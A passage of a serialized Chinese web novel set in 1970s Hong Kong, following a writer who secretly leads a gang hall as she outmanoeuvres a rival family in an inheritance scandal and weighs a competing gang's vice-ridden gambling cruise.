孙荣美呼哧呼哧喘着粗气,冷笑回道:“作家?你一个北妹连字都认不全还当作家?看来是我看走眼了,原来你傍上了顾大少?你说顾大少知道你淫荡得连亲大哥都勾引,还会不会要你?” 温苒心中无语,合着她就非得傍个男人? 而且什么乱七八糟地勾引孙耀祖,全靠孙荣美一张嘴瞎编乱造是吧? 温苒没好气道:“温太别给自己儿子脸上贴金,除非眼瞎,不然谁看得上硬不起来的丑八怪?” 多亏了急于澄清名誉的孙大少,全香江的报纸都知道是孙耀祖那方面不行。 温苒的话立刻戳中了孙荣美的痛点,现在除了捞金女没一个肯和她儿子拍拖,她像疯了一样又吼又叫:“都是你!都是你浪荡不知节制勾引我的耀祖!” 众人齐齐把目光投向温苒,如果是她……也不是不可能……但谁勾引谁可真不好说…… 温苒:“……” 虽然孙荣美误打误撞猜中了,孙耀祖不行确实是她搞得鬼,可这个孙荣美怎么回事,怎么就认准她勾引孙耀祖了? 温苒不想去猜测孙荣美用意,无非就是那几种理由,可她还真不在乎无关人怎么评价自己。 温苒上前一步,出言反击:“温太,啊不,准确来说是二太。” “我想众人都有眼睛,我不必也不屑去勾引男人,毕竟我不像孙二太未婚先孕,勾引已婚男人,逼迫原配被休弃,十几年后还想送原配女儿做黑底情妇为儿子偿还赌债。” 在场人吃瓜惊掉下巴,和已婚男人未婚先孕她们知道,但后面的事简直闻所未闻丧心病狂啊! 一群人震惊到心潮澎湃之时,就听温苒笑了笑,笑声清脆悦耳,眼底浮上戏谑之情,看着孙荣美说道:“孙二太恐怕不知,你那位黑底大哥如今已经入狱等待宣判,下半辈子都要牢里度过。” “我看他一人寂寞,不如孙二太带上丈夫儿子一起进去陪她?” 听见这话,孙荣美静了静,随机又爆发出尖叫开始挣扎,什么难听的话都往外说,听得在场人直皱眉。 “阿成,堵住她的嘴,丢出去!” 一道低沉含怒的声音响起。 话音落下,一个极具威慑力小山一般的人影走过来,壮硕的体格遮挡住走廊一侧的亮光,阴影压迫笼罩下来。 他捏捏拳头,挥着手分开人群,所过之处不等靠近人群便四散逃开。 霍骁北来到温苒身边,眼神检查一遍确认没有受伤,低声问道:“想怎么做?” 温苒沉思片刻,孙荣美最引以为傲她孙氏千金的身份,最得意的是有个对她百依百顺的丈夫,凭着出身她行事张扬不择手段。 既然如此,那就毁掉她张扬的依仗。 失去人群压制的孙荣美披头散发张牙舞爪朝着温苒扑过来,只是刚一动弹,后脖颈就被一股大力拽住。 众人眼睁睁看着,那有两米多高的壮硕男人轻松地把孙荣美拎起来,还咧着嘴上下颠了颠,然后满脸嫌弃道:“还没我家的猪宝沉!” 孙荣美脸色涨成猪肝色,喉咙里发出嚇嚇音节,不知道是被勒的还是被气的。 一群人目瞪口呆的眼神中,高大男人就那么拎着孙荣美,转身往外走。 看到没见过的面孔,温苒仰头询问霍骁北:“你新找的保镖?” 霍骁北道:“算是,他是阿辉朋友,阿成。” 就在大家的目光追随阿成而去时,和温苒站在一起的庄玉和尹荃已经默默扭头,视线紧盯着霍骁北打量。 长相英俊、身形高大挺拔、气质沉稳严肃,跟温苒站在一起,俊男美女登对又养眼。 尹荃又开始浑身冒酸气,嫉妒霍骁北有温苒这样漂亮的老婆,还嫉妒霍骁北优越的身高,足足比他高了一头还多。 尹荃试图从事业上寻找优越感,“不知阿温的老公在何处高就啊?” 霍骁北瞥去淡淡一眼,“自由投资人,兼南凤集团投资顾问。” 尹荃和庄玉不约而同露出两脸疑惑。 南凤集团? 是什么很有名气的大公司吗? 第124章 第124章七零香江作家25 不过虽然不懂,但听起来很厉害得样子。 尹荃干笑两声 ,装作很懂回道:“哦,是经济从业者啊!” 庄玉小声提醒:“应该是金融从业者。” 尹荃:“……” 他臊红了脸,不自在地摸着鼻子,找借口溜:“我衣服脏了,要去换一身,咱们改天见,改天见。” 然后转身大步逃离。 庄玉耸着肩膀憋笑,等人走远了才随口调侃道:“南凤集团跟那个帮派的名字很像,他们不会上门找麻烦吧?” 一旁阿红挠挠头,费解道:“不会啊!我们为什么要找自己麻烦?” 庄玉:“……” 庄玉:“?!” 庄玉瞪大了眼盯着温苒,不敢置信道:“南凤集团就是南凤帮?” 温苒点点头。 得到肯定回答,庄玉呆愣片刻,吃惊过后又觉得似乎很合理。 之前就听阿温说,孙荣美交好的黑底大哥入狱,想来能把对方送进监狱的势力也不太清白。 然而这个念头浮现出来的下一秒,庄玉就听阿红说道:“苒姐是我们南凤帮夜莺堂的坐馆,什么黑底大哥,还不是被我们苒姐送进去吃牢饭了” 庄玉猛地把头扭回去,目光落在温苒那张莹白红润楚楚可怜的漂亮小脸上,恍恍惚惚间倒吸一口冷气。 她缓缓扶住身侧墙壁,脑海中宛若经历过地震海啸火山喷发一般混乱,开始艰难重塑对一见如故的好友的印象。 也就是说,阿温虽然外表柔弱貌美,但实际上是南凤帮大佬? 还手段了得,送另一个大佬去吃牢饭? 庄玉本以为自己算得上见多识广,现在才发现什么叫人外有人天外有天。 等尹荃换衣服回来,她一定要好好吓一吓他! 温苒观察着庄玉的反应,她还挺想多交几个朋友的,庄玉性格大方豪爽不拘小节跟自己很聊得来,要是因为庄玉身份疏远自己实在可惜。 好在庄玉只是震惊片刻,回过神来开始打听温苒这个坐馆平时都做什么。 尹荃换衣服回来,说道:“附近有家饭店味道不错,我和那里的主厨是朋友,不如过去边吃边聊?” 饭桌上,听说温苒是南凤帮坐馆,尹荃一口红酒喷出来,又脏了一套西装。 或许是因为香江帮派在香江百姓中无处不在,尹荃和庄玉一样也只是吃惊片刻,便开始打听起来。 “我听说五象城最近有个集市很热闹,一直想去都没机会。” 庄玉点头,“我也听说了,但是印象里五象城很乱,还没想好去不去。” “不过有阿温在,我必须得去看一看!” 两人和温苒约好,下周周末带朋友去五象城游玩。 饭后各自告别,温苒和霍骁北回了在城外的公寓。 冲澡洗漱后,温苒窝在沙发上写文章,顺便等霍骁北过来商量拿下孙氏的计划。 孙氏集团是家族企业,孙家和孙家姻亲持股比例占六成左右。 先前孙氏股价频繁下跌,很多孙氏股东纷纷抛售股票,霍骁北趁机买入了一部分。 后续据财经报纸报道,结合知情者透露,专业人士猜测孙氏的实际控股比例恐不足五成。 孙氏家族自民国起从上海来到香江近三十年,数十年间的经营积累下来,家族的财富和人脉不容小觑。 孙荣美在孙家地位无足轻重,个人能力既不出色,她的婚姻为没有为家族换来人脉,所以轻易就能被舍弃。 但只要孙氏还好好的,孙荣美就能一直凭借她孙氏千金的身份作威作福。 可惜那位孙老爷子挺过来了,不然长房上位,一定不会轻易放过孙荣美所在的二房。 温苒一心二用,一边写一边想。 直接从孙氏下手一时片刻不见得能有效果,况且她和霍骁北手头都有大把重要的事情要做,为旁的事稍微分心都是在浪费时间。 比起来还是引导孙氏几房内斗,让二房尤其是孙荣美成为众矢之的来得简单。 霍骁北擦着头发出来,“阿伟在福角堂发现了一些账本,跛脚胜拍的电影一直在和孙荣美分账。据阿伟了解,很多演员是孙荣美推荐的。” 温苒真是一点也不意外。 孙氏近几年开始赞助港姐选美,通过港姐比赛出道俨然变成一种造星捷径。 任何行业都一样,只有最出色的一些人能赢得喝彩和掌声。 而其余星光一闪而逝的年轻姑娘,或单纯好骗或不甘心止步于此的,就沦为孙荣美之流的砧板上的肉。 温苒停下笔,迟疑起来:“这件事要不要曝光?” 登报曝光,毫无疑问一定会引起全香江的关注和讨论,但对受害者而言或许是二次加害。 若是不曝光,后来更多的年轻姑娘可能就会重蹈覆辙。 霍骁北倾向于后者,香江现在这个环境整顿整个行业是不必想了,只能让后来人引以警惕。 温苒想了想,说道:“先不要曝光,我打算写一部小说。” 她也在娱乐圈里待过,那些骇人听闻的手段就算没亲眼见过也听过许多,写一篇集大成的小说并不难。 恰好《长生诀》第一部接近完结,温苒手头再无连载小说,最近正在尝试短篇找灵感,可以腾出时间精力专心在这部小说上。 光写小说还不够,写完拍成电视剧,电视剧的传播范围更广。 想到就做,温苒灵感爆棚,合上本子就要去书房挥洒笔墨。 霍骁北一看就知道她想做什么,一把将她拦腰抱回来,“已经九点了。” 温苒气哼哼反驳:“才九点!” 霍骁北低头看着她,“哦,时间还早,你说是算账还是还债?” 温苒就像被霜打过的小白菜,立马蔫哒哒下来,“不了,早睡早起身体才好。” 天杀的! 她什么也没做,怎么就孽债缠身了? 第二天 回城,温苒扑到工作室伏案大写,到和庄玉尹荃约好来访那天,已经写了三万八千字。 手写限制了她的速度,不然还能更多。 庄玉和尹荃的好友都是文学和艺术界的从业者,作家、画家、音乐家等等,来到五象城就像打开了新世界的大门,一个个要么跑没影,要么蹲在大街上一天不动弹。 庄玉和尹荃参观温苒的工作室,羡慕得眼睛都红了,两人都对温苒满墙书架的剪报爱不释手。 她们也有看报剪报的习惯,看到喜欢的特别的文章会收集起来珍藏品味,但可不像温苒这样连民生经济的新闻都整理,各种文章分门别类,简直比报社的合订本都清晰明了。 参观完工作室,温苒带她们去金玉影视,赵齐正在带组开会修改下部剧的剧本。 半年前南凤电视台还名不见经传,现在多时段收视率稳定在中游水平,黄金时段电视剧播出时冲顶也很常有。 赵齐正在带人讨论的是《王牌沙展》,温苒特意为电视剧增加了几个案子。 庄玉和尹荃看到剧本不约而同转向温苒追问:“《王牌沙展》?你认识木甲?” 关于笔名,温苒实在懒得取多有新意的,从北龙帮和南凤帮堂口的名字得到灵感,就用天干地支和飞禽走兽批发了一沓。 目前《真假千金》笔名是千金,《王牌沙展》是木甲,《长生诀》是不老,三本小说三个笔名。 下一本娱乐圈相关,温苒打算继续用千金这个笔名。 温苒向两位好友解释,两人震惊了一瞬,很快表情就习以为常见怪不怪。 开马甲这种癖好,哪个作家没有才奇怪。 比起微不足道的这一点,两人更好奇温苒是如何做到同时连载这么多作品,还能跟组当编剧的? 尹荃摊手,“我每次都是编辑夺命连环call才动笔的。” 庄玉也大差不差,“报社央求我开了个专栏,我经常开天窗的,鬼知道我被逼能写出什么东西来?” 像温苒这么高产质量还高的作家,找遍香江都没几个。 温苒略微心虚地抿了口咖啡,那当然是因为她作弊了。 其他作家都还在手写,顶天用打字机,温苒赶稿时可以偷偷用键盘。 互相交流了一些增加写作动力的小技巧,温苒带她们去聚餐吃烤肉。 招待朋友几天后,一行人心满意足离开,温苒重新回到按部就班的写作工作中。 五象城发展基金在紧锣密鼓地筹备中,霍骁北每日早出晚归。 温苒向他借来阿文,又向唐叔借了一支小队,让他们盯紧孙家动向,并尽可能打探孙家的隐秘。 清明节前发生了一件大事,陈兴辉被黄爷认回去,正式加入黄家的‘夺嫡’之战。 听从了温苒的建议,陈兴辉和阿伟笑哥扮猪吃老虎当起了三姓家奴,先投二房再投大房,还暗中勾连三房四房,把新福会搞得鸡犬不宁。 不久后,阿文带着孙家的消息回城。 “苒姐,孙氏三房老太太是正房老太太的堂姐。我们找孙家过世老管家的孙子买的消息,据说三房老太太才是孙老爷子定亲的对象,正房老太太勾搭孙老爷子未婚先孕,硬是抢了堂妹的婚事。” 大瓜啊! 温苒吃瓜吃得满面激动。 “我们还打听到,三房有一位嫁去宝岛早逝的千金,和大房大少是同一天出生。” 温苒眼睛一亮,计上心头。 隔天,孙荣美便收到一封惊掉眼球的秘信。 什么? 她那高高在上自恃嫡子的好大哥,压根同她们这些兄弟姐妹,都是从偏房的肚子里爬出来的?! 孙荣美几乎憋不住心中的畅快。 好哇! 好哇! 有这个把柄在手,大房的下场还不是她说了算? 孙荣美当即拨打电话,请她那位好大嫂喝咖啡好好聊一聊。 第125章 第125章七零香江作家26 孙荣美足足请了三次,才请到她那位高傲的大嫂,气得她在家砸了一堆东西。 “贱人!” 有意给那位大嫂颜色看,孙荣美故意迟了足足半小时才到咖啡馆。 但她没想到,对方竟然也还没到? 服务员告诉她,因为超过预约时间半小时,预约作废。 而且当前没有空包厢,孙荣美只能在大堂消费。 孙荣美当即就炸了,抬手一耳光打过去,指着没反应过来的服务员大骂。 “贱人!知不知我什么身份啊?我动动嘴你就可以打包走人,你竟敢叫我跟穷酸乡下人一起坐大堂?” 在大堂消费的客人们:“???” 这老太婆在喷什么粪啊? 大家都不干了,经理带着保安出来解决。 孙荣美重现电视台场面,被众多保安和服务员禁锢压制。 她也不愧对她孙氏千金的身份,打小不知道吃了什么好东西,身上一股子蛮力,那么多人都差点拦不住她。 大堂客人们义愤填膺地要求经理把这个疯婆子赶出去。 孙荣美听见就怒了,破口大骂无差别攻击在场所有人。 骂完服务员骂客人骂完客人骂经理,连咖啡店的店主在她嘴里都低人一等。 孙大太太姗姗来迟赴约,正好听到孙荣美大放厥词,说店主连给她提鞋都不配。 孙大太太一口气差点没上来。 蠢货! 在临港商务中心开高级咖啡店的人身份怎么会普通? 孙大太太忍无可忍,高声喝止道:“孙荣美你给我住口!” 孙荣美扭头看到是她,顿时更来劲,气焰嚣张骂道:“你以为你什么身份敢对我大呼小叫?贱人!” 孙大太太简直不敢相信自己听到了什么,她当即转身就走。 孙荣美这个泼妇!谁爱管谁管!闹大了正好让公公教训她! 孙荣美看到她离开立刻急了,但被众人拦着动弹不了,只能大吼道:“站住!你给我站住!” 孙大太太离开的步子更加匆忙,好像身后有鬼东西一样。 孙荣美怒气上头脑子一热,也不顾什么把柄不把柄的了,脱口而出:“我大哥根本不是大妈所生,三妈用大哥换了大妈的女儿!” 孙大太太猛地站住,呆愣了片刻后,众人只见她嗷一声转身,挥舞着爪子冲向孙荣美,以一己之力破开层层人群挠在了孙荣美脸上。 次日,香江各大报纸加印三倍都销售一空。 温苒手上十几份报纸,头版头条无一不是在报道孙家换子疑云和姑嫂大打出手两则劲爆新闻之一。 孙氏股价迎来近一年不知第几次暴跌,温苒和霍骁北再发孙难财。 本以为那封信会开启孙荣美和大房之间的斗争,没想到孙荣美这么蠢,光天化日在闹市就公之于众。 这么一来,就算孙家手眼通天,孙大老爷的‘身世’也捂不住。 全香江都在讨论孙家换子,温苒一面关注,一面在思考接下来怎么做。 换子不换子的,其实对大房父子的继承权来说并无多少影响。 究其原因,孙荣美的那些兄弟姐妹都太无能,矮子里面拔高个,还是得大房父子上。 孙荣美蠢到当街喊出来,无异于和大房撕破脸。 但反而因为撕破脸,大房父子不能动她。 是以纵观这场风波,大房除了名誉再无损失,只是单纯被孙荣美膈应却憋屈地无法还手。 至于能出手教子的孙老爷子,温苒不负责任地猜测,大概晚报就能看到其进医院的消息。 然而不出意外,还是出了点意外。 温苒也没料到,孙老爷子是进医院了,可当晚就宣布过世。 虽然意外,但倒是个好消息。 这老头养出不成德行的儿女,自己也不是个好东西。 民国时,孙老头在果党政府中为官,职位不高,但半点不妨碍他大发国难财。 为官不义,他为富更是不仁,强买强卖恶意竞争,勾结**杀害竞争对手皆是常有。 负责监视孙家的阿文等人还没撤,赶紧跑回来向温苒通风报信。 “苒姐,我们打探到孙老爷子最近频繁造访几间律师所,疑似在起草遗嘱,已经进行到财产分割这一步,但是现在……” 温苒:“……” 所以,现在的情况就是,孙大老爷是不是大房所出还未有定论,孙老爷子就呜呼归西。 孙老爷子还没有留遗嘱,意味着他名下的财产几房儿女人人都可分。 孙荣美这是踩了什么狗屎运? 不过机会是有了,还要看孙荣美能不能把握得住。 温苒一面准备新小说,一面关注孙家这场旷日持久的豪门遗产争夺大战。 为了钱人真的什么都能做出来,孙氏几房手段百出,让温苒让全香江都直呼大开眼界。 先是各房互相曝对方丑闻、开新闻发布会对骂,乃至在葬礼上大打出手,接着撬孙老爷子保险 箱偷盗,然后是买凶杀人、绑架、谋杀…… 孙家这场戏越唱越精彩。 孙荣美初赛就失利,她一直以为老实安分的丈夫温宝龙不仅频频召妓,还在外面养了二房有儿有女。 复赛二房偷盗被报警,孙荣美推到温宝龙头上想让他坐牢,温宝龙反咬一口,向警察坦白孙荣美许多不法行为。 很快孙荣美被捕入狱,得知是温宝龙出卖自己,毫不犹豫也出卖温宝龙。 恩爱夫妻转眼成仇人,互相指责揭露对方罪行,势要把对方永远留在牢里。 而在外面,孙耀祖在孙家不够那些堂兄妹玩一回合,很快也被捕。 一家三口在监狱里团圆。 看到这一家的结局,温苒满意地放下报纸。 时至盛夏,她的新小说《影后》一经发表便大受欢迎。 五月份时,《长生诀》第一部连载完毕,报社征求温苒的意见后决定出书。 这本别具一格的武侠小说,报社决定在香江和宝岛两地同时发售,每地初印两千册,不到一天便售罄。 报社紧急联系印刷厂加印三千,结果又是一天便售完。 报社咬咬牙,再加印五千,又很快售罄。 据买入三本的某报记者报道,一本收藏一本翻阅一本送人,学习林长生,遇事多动脑。 农历中元节,这一天是新福会黄阿公的生辰。 提前两个月黄家广发名帖,邀请香江有钱有势的人物参加生辰宴。 就连五象城也收到了几十封。 众人在公司新开的食堂边吃饭边交流。 唐叔挖了一勺咖喱饭,点评了两句味道口感,转而问道:“阿辉和阿伟他们常回五象城来,你们说,黄爷有没有怀疑我们龙凤帮?” 陆建华从阿五碗里夺走一块红烧肉,得意洋洋回道:“肯定早就怀疑了,但他能有什么办法?进又进不来,管又管不了。” 南凤帮合并北龙帮后改名为龙凤帮,才半年就将整个五象城治理得井井有条,百姓住户交口称赞。 现在的五象城比外面治安还要好,禁毒禁赌禁黄。 以前城里杀个人尸体往茅厕一丢,变成骨头都没人追究,现在打架斗殴都要接受教育。 治安变好后,城里顺势推出众多活动,譬如街会庙会小吃街,还有必打卡的美食餐厅等等,吸引了来自城外的众多游客。 游客在城里消费,收入大多流入城里百姓手中,大家赚了钱就更加拥护龙凤帮。 对内有民众基础,在外凭借海上赌场,龙凤集团拓展大批各界人脉,已非昔日吴下阿蒙。 这半年新福会见没法动五象城,又实在眼馋海上赌场带来的庞大收益,于是有样学样也推出了豪华游轮海上十日游。 接到风声,龙凤帮领导齐聚一堂,唐叔为首率先表达了对竞争对手的不忿和对未来赌场收入的担忧。 “阿北,阿辉和阿伟他们有没有回城报信?新福会要跟我们抢生意,我们哪抢得过啊?” 温苒让他们别急,“未必是我们输,大家开门做生意凭的是本事,孰优孰劣要看客人怎么说。” 霍骁北也道:“先观望观望。” 唐叔几人如临大敌,观望的时间吃不好睡不好,生怕丢了这么个来外快的好生意。 新福会游轮开业当天,黄家参股的电视台对其进行转播,各大报纸都留出了头版报道。 铺天盖地的宣传阵势,仿佛阴云笼罩在五象城的天空上。 城里因赌场受益的百姓占了九成以上,大街小巷都在讨论新福会的豪华游轮,脸上满是担忧之色。 就连刀哥也坐不住了,拽上陆建华和唐叔利叔来找霍骁北和温苒。 几个人你一眼我一语地出主意,那个说派人上去打探情况,这个说去船上闹事。 陆建华更不着调,“那还不如让北哥去踢馆,赢新福会赌场一个血本无归啊!” 温苒瞪了他一眼,就你会说话。 陆建华心虚地抬头看房顶。 温苒无奈开口说道:“唐叔,利叔,都这么大年纪了还沉不住气。” 唐叔利叔目光游移不敢跟她对上,心道这哪能怪他们? 赌场关系到城里数以万计的百姓,虽说没了这份外快就不是活下去了,但本来好好的钱没了,谁都会不痛快。 唐叔小声嘟囔:“阿苒,你和阿北想想办法,城里好不容易清净安定下来,讲真我认为赌场外快占了很大一部分。” 利叔也道:“唐叔说得对,咱们各堂口的公司刚起步,只发基础工资都还在赔钱,没有这份外快弟兄们会过得很难。” 刀哥点头附和:“阿苒,你想想办法,以后我们堂口看场的收入分你们堂口一成。” 温苒的堂口几乎全是女人,金玉影视收入不菲,所以堂口成员腰包鼓鼓,不需要去赌场当服务员赚小费。 温苒拒绝了刀哥的提议,“分成就不必了。新福会赌场刚开业,具体情况我们还不清楚,等船靠岸后听听阿伟他们怎么说。” 依她看新福会不足为俱。 五象城虽弱,胜在齐心;新福会势大,但败笔在人心不齐。 新福会这个赌场没成还好,成了的话,黄阿公几个儿子恐怕就有想法了。 到了五象城游轮开船的日期,新福会的船还在海上漂着,是以这次的客人还不到往日的三分之一。 刀哥带马仔看场,霍骁北叮嘱他不要掉以轻心,一个客人也是客人,城里不能少了这份收入。 从港口回城路过福角堂的赌场,门口张灯结彩,挂上了祝黄阿公寿比南山的对联。 算算日子,新福会的游轮靠岸后,再有一周就是黄阿公的寿宴。 车子停在福角一处商场,温苒和霍骁北看了场电影,才选了家常去的餐厅吃饭。 不多时,包厢从外打开,平头伟和笑哥进来。 平头伟一脸神秘兮兮,“苒姐,北哥,大消息!” 第126章 第126章七零香江作家27 温苒淡定地抿了口果汁,才姗姗迟问:“什么大消息?” 笑哥回头朝门外看了一圈,确认没人后关上门过来坐下。 “苒姐,我们刚得到的消息,新福会的游轮上卖粉!” 温苒立刻坐直身体,“真的?” 平头伟瞪了笑哥一眼,腹诽他净会抢功,才点头回道:“嗯呐!四房少爷最近很信任阿辉,阿辉从他那里听来的,他还告诉阿辉让我和笑哥从五象城弄粉去船上卖。” 笑哥撇嘴,“不止卖粉,还请了几十个靓女上船。” 简而言之,新福会这艘豪华游轮上要什么有什么,立马就把只有赌场和正经歌舞话剧表演的五象城给比下去了。 笑哥问两人:“北哥,苒姐,要不要我们派人去船上搞事,把他们生意给毁了?” 温苒:“……” 真不愧是一个地方出来的,那个说搞事这个也要搞事。 她拒绝道:“不用,赌场办不下去就换成观光客轮,收入和小费一样不会少。” 有钱人就那么多,不是每个都好赌,新鲜一阵儿就过去了,收入总会有力不从心的一天。 要想细水长流地赚钱,还是得走群众路线,在吃喝玩乐上下功夫。 平头伟和笑哥对夫妻俩无脑信任,闻言不再担心这件事。 温苒看了眼门口,“阿辉呢?怎么没来?” 笑哥挠头,“他最近被黄爷带在身边,说是相看女朋友。” 平头伟一听这话想起了什么,颇为幸灾乐祸道:“阿辉前阵子救下一个靓女,竟然是总督千金,黄爷听说后就经常带阿辉去总督府做客。” 笑哥往嘴里塞花生米的动作顿住,张大了嘴,喃喃说:“总督是个洋人啊,那他女儿……” 平头伟用力点头,“总督在香江娶了一房太太,姓宋,宋氏宋老爷子三太所出,总督千金是个混血靓女。” 笑哥来劲了,追问平头伟:“我还以为是个洋人呢,有多靓?” 平头伟仰头想了想,“比港姐还靓的。” 服务员来上菜,几人边吃边聊。 笑哥两眼放光,羡慕道:“阿辉真是好福气!” 温苒心道未必,据阿珍说,阿辉和阿莹互相有意,就阿莹那个暴脾气,知道阿辉三心二意他吃不了要兜着走。 转眼几天过去,新福会的游轮靠岸。 霍骁北派人去港口打探消息,唐叔利叔和一众帮派元老顶着大黑眼圈翘首以盼。 午前,马仔们回城直奔诊所报信。 诊所门口围着一堆人,让路的同时纷纷出声打探。 诊所里陆建华唐叔利叔等人齐聚一堂,人一进来就给围了个严严实实。 诊所里外闹哄哄的,得亏今天没什么严重的病人。 吵了大半天一群人才安静下来,陆建华掀开里间门帘,告诉霍骁北结果:“他们说什么也没看出来。” 霍骁北:“……” 他出去到外间,唐叔和利叔正在数落那几个年轻马仔,连人是高兴是满意还是生气都看出来,白瞎每天一顿的猪脚饭。 年轻马仔们委屈地抬起脑袋望向霍骁 北,他们北哥虽然一直冷着脸气势吓人,但却是长老坐馆里最通情达理的。 霍骁北让他们坐下,“桌上有水壶自己倒,跟我们讲讲你们都看到了什么。” 打探消息的马仔们咕噜噜灌了满肚子水下肚,心里感叹着北哥这儿的白开水都比别地好喝,然后开口讲述在港口的见闻。 “我记性好,去过咱们船上看场,从新福会游轮上下来的,许多都是我们赌场的熟客。” “嗯!我看他们有些很高兴,有些冷着脸,才闹不明白到底是满意还是不满意。” “对对对,还有几个客人是被抬下来的,我瞥了眼,好像是抽大了。” “也可能是那种事做多了,以前妓寨还没拆的时候,我见过那种客人,都抽抽了。” 见多识广的唐叔给了他们答案:“也可能是边抽边干,不要命了这是。” 马仔们一脸受教,接着讲下去:“最后我们还看到了一群女人,就是……看起来好像精神有点问题……” 听完大家面面相觑,这新福会的游轮好像不是什么正经地方。 霍骁北让大家先别说出去,就地散了以后,和唐叔他们商量晚上开个会,再等阿伟回城听听他那边的消息。 在诊所待到下班,霍骁北上楼回家做饭,到家时却发现门没关,里面传出说话的声音。 他推门进去,没想到客人会是老婆新认识的朋友尹荃和庄玉。 见他回来,庄玉调侃道:“北哥回家做饭啊,好贤惠的!” 尹荃一脸稀奇,霍骁北真是他见过最黏老婆最勤快的男人了,饭是他做衣服他洗家务他包,下了班哪也不去直奔家里。 顾家不说,还能赚钱,想他堂堂大作家都买不起别墅,霍骁北已经奢侈到给老婆买别墅存放读者来信。 霍骁北问两人吃什么菜,庄玉和尹荃马上抛弃脑海里的胡思乱想,不客气地点单。 等他们说完,霍骁北才道:“做什么吃什么。” 庄玉&尹荃:“……” 那你还问? 两人委屈巴巴看向温苒,温苒憋着笑:“阿玉最近赶稿可以补补身体,尹哥出海游玩船上餐食一般,也该补一补。” 庄玉尹荃用力点头,接着看向霍骁北。 霍骁北挑了挑眉,“出海?” 尹荃像被点名,坐直了回道:“是黄氏大肆宣传的豪华游轮十日游。” 他垂头叹气,“唉,别提了,反正我以后再也不会光顾了。” 温苒朝霍骁北眨眨眼,她想她们的游轮可以不用整改了。 霍骁北会意,吃饭的时候一直在向尹荃打听船上的经历。 据尹荃所讲,上船后第一天还算风平浪静,除了物价过高、服务恶劣、强逼客人消费等缺点外,还算可以忍受。 毕竟黄氏是香江最大帮派起家,横行霸道惯了。 但第二天夜里,船上表演歌舞的几名剧团演员因得罪客人被扔进海里。 庄玉皱眉,“草菅人命,新福会未免太无法无天。” 尹荃小幅度点着头,表情后怕,“后来我听说那几个演员被救上来,其中两个直到下船还在昏迷,还有一个似乎直接就死了。” 在他的讲述中,船上的经历可以概括为一个字:乱。 酒饮加料、妓女敲门自荐、斗殴逞凶、偷盗抢劫…… 尹荃还是很惜命的,发觉船上不安全后,除了吃饭基本不再出房门。 直到靠岸,下了船直奔庄玉家拽着她来五象城找温苒求庇护。 吃过午饭,温苒让助理给两人安排住宿,她和霍骁北就尹荃的经历讨论起来。 新福会的豪华游轮体积上是五象城游轮的几倍大,据说原本是东南亚某富豪订制的,到交货日期时家里生意出了问题,只好转让给黄爷。 看情况,新福会这是把几个堂口的生意都搬到了船上。 也就是说,陆地上新福会怎么斗,到了船上抢生意只会斗得更凶。 五象城游轮是开门迎客,新福会是逮着客人就宰,恨不得把油水都榨干了。 反正温苒来看,新福会这游轮的生意做不长远。 晚上开会,夫妻俩讲述从尹荃那里听来的经历,安抚唐叔等人后,说道:“赌场生意变数大,不管新福会如何,我们龙凤帮得想新出路。” 温苒发给大家她准备的休闲游轮计划书,众人就游轮项目讨论起来。 散会前,利叔感慨:“我们老了,只想着守老本,不如你们年轻人眼光宽阔长远,咱们五象城要发展是该多找几条路才行。” 唐叔也道:“是啊,一听新福会也要搞海上赌场我就慌了神,哪想过成不成以后咱们该怎么办?” 陆建华心虚地摸摸鼻子,小声道:“我也没想过别的出路……” 唐叔翻白眼,“行了,知道你那脑子看个书都不够使,也不指望你。” 陆建华:“……” 说起他念书进修的事,利叔随口关心道:“这学期快结束了吧,成绩怎么样?” 陆建华:“……” 他涨红了脸,结结巴巴回:“还、还行……” 利叔笑着夸他:“那就好,有读大学的机会要好好珍惜,以后走出去,你可是咱们龙凤集团的脸面。” 陆建华咽下没说完的话:还行,过了几门。 他忙不迭点头,“我知道的,利叔,时间不早咱们散了吧,我挤挤时间还能多看两页书。” 读书可是大事,唐叔拽着利叔就走,“那你快回家看书,你阿婶炖了汤,待会儿我给你送一碗。” 几位长辈都走了,陆建华长出一口气,卸力趴在桌上,哀嚎道:“北哥,苒姐,救我啊!” 也是这时,温苒才知道,一共二十七门课,陆建华过了七门。 温苒:“……” 挂七门就很匪夷所思了,陆建华只过了七门…… 陪读的阿五更过分,除了体育课全挂。 这兄弟俩脑子里除了水就是草吗? 温苒扶额,“重修要另外交学费的是吧?” 陆建华支支吾吾,心虚得恨不得把头低到桌子下面去。 旁听学费本来就贵,这钱还是帮里出,他挂科就相当于拿钱没办好事。 跟他一起旁听的还有从帮里各堂口选出来培养的有文化基础的马仔,陆建华十分没有当大哥的义气,在霍骁北冷酷的注视下都给供了出来。 十多个后备人才,没有一个全部通过,成绩最好的也挂了三门。 一听才三门,温苒甚至觉得万分欣慰。 果然,人的底线就是被不断拉低的。 于是第二天,霍骁北的诊所外间成了补课场所,一群旁听生搬着小板凳捧着书,一面发愁一面哇啦哇啦背诵讨论。 黄爷寿宴前,阿辉三人抽空回了趟五象城。 陈兴辉让陆建华小心,“陆哥,老头子要给你介绍他女儿给你。” 陆建华被书本折磨得迟钝的大脑反应了好半天,“你不要乱讲,我有女朋友的!” 众人从饭碗里抬起脑袋转过去,目光灼灼盯着他。 阿五一脸懵逼,“陆哥,你有女朋友?” 大家神情一顿,齐齐把视线挪到阿五身上。 笑哥不满道:“你和陆爷形影不离你怎么可能不知道?” 除非,几人再把目光挪回到陆建华身上,这人撒谎! 陆建华冷眼斜睨阿五,“他就是个木头脑袋,除了练拳就是吃,他能知道什么?” 让他传个情书他都能弄丢了! 所以,他确实有对象,但就连阿五都不知道是谁。 陈兴辉想了想道:“除非你带女朋友出席寿宴,否则老头子不会善罢甘休。” 现在的五象城龙凤帮独大,陆建华身为帮派龙头,外面不清楚情况,或者说黄爷以己度人,认为陆建华跟他一样,在帮里的地位是一言定生死的土皇帝。 手握权势年轻有为还单身,搭个女儿笼络实在太正常。 陆建华嗯嗯点头,脸上泛着绯红,“我跟她商量商量,你放心,她不去我也不去。” 陈兴辉:“……” 跟我什么关系?我为什么要放心? 讲完陆建华,陈兴辉又提醒温苒:“苒姐,你最好带北哥一起出席。” 他可被那老头套了不少话,还有老头子那群儿子,知道龙凤帮有一位女坐馆,个个都打上了温苒的主意。 至于霍骁北,他大多时候只在幕后决策,其余时间经营诊所,就连帮里都只一少部分兄弟知道他才是拿主意的那个人。 底下的马仔们只晓得他们北哥很能打很厉害懂得多会赚钱,另外北哥跟陆爷是过命兄弟,陆爷到了北哥跟前都服帖得跟鹌鹑似的。 当然相处时间久了,就算没人直白讲出来,马仔们也知道帮里的改变都跟霍骁北有关。 